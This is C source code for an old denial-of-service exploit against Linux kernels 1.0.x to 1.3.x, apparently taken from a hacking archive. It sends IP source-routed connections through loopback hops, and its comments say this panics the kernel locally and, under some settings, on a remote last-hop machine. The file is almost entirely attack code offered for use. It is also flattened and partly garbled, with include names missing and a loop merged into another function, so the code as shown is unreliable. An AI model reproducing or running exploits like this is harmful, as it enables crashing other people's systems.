/* * Source Routing Exploit for Linux v1.0.x thru 1.3.x * * Causes kernel panic when run locally on all systems I have tested. * If remote machine is placed as the last hop and does not have NO_IPSR * set, they will panic as well. Luckily NO_IPSR is default ON. * * by Kit Knox * * based on code by "Tim N." * * s_connect(s, name, port) - resolve name and connect * resolve_name(n, add, max, strict) - resolve names * source_route(s, add, num, strict, port) - source routed connect * */ #include #include #include #include #include #include /* * make a IP connection specifying the route to take * * s - socket * add[] - array of hops to make from first to last (Destination) * num - number of hops * strict - 1 for strict source routing, 0 for loose source routing */ source_route(s, add, num, strict, port) struct in_addr add[]; int num, strict, port; { int i; unsigned char buf[100], *t; struct sockaddr_in a; a.sin_family = AF_INET; a.sin_port = htons(port); a.sin_addr.s_addr = add[num - 1].s_addr; if(num <= 0) return(-1); /* no source routing needed */ if(num == 1) return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in))); t = buf; *t++ = (strict) ? IPOPT_SSRR : IPOPT_LSRR; /* type */ *t++ = 3 + 4 * num; /* length */ *t++ = 4; /* pointer */ for(i=0; is_addr = inet_addr(n); if(a->s_addr == -1) { hp = gethostbyname(n); if(hp) bcopy(hp->h_addr, &a->s_addr, 4); else { printf("Cant resolve %s\n", n); return(-1); } } return(0); } resolve_name(n, add, max, strict) char *n; struct in_addr add[]; int max, *strict; { char c; int i, j; i = 0; /* single host */ if(*n != '@' && *n != '!') { if(res_one(n, &add[0]) == -1) return(-1); else return(1); } /* strict routing */ if(*n == '!') { *strict == 1; n++; } else *strict = 0; if(*n != '@') return(-1); n++; for(;;) { for(j=0; n[j] && n[j] != '@'; j++) continue; c = n[j]; n[j] = '\0'; if(res_one(n, &add[i++]) == -1) return(-1); if(i >= max) { printf("Too Many Hops!\n"); return(-1); } if(c != '\0') n += j + 1; else return(i); } } /* * resolve an address and connect to it * named address is of the form !@host1@host2@host3@dest * where ! signifies strict source routing (and its ommission * loose source routing). The packets go through host1, host2 * host3 before reading dest. */ s_connect(s, name, port) int s; char *name; { struct in_addr add[20]; int strict, x; x = resolve_name(name, add, 20, &strict); if(x < 0) return(-1); return(source_route(s, add, x, strict, port)); } void main(void) { int s; char str[50]; sprintf(str,"@127.0.0.1@127.0.0.1@127.0.0.1"); s = socket(AF_INET, SOCK_STREAM, 0); s_connect(s, str, 23); } /* www.hack.co.za [2000]*/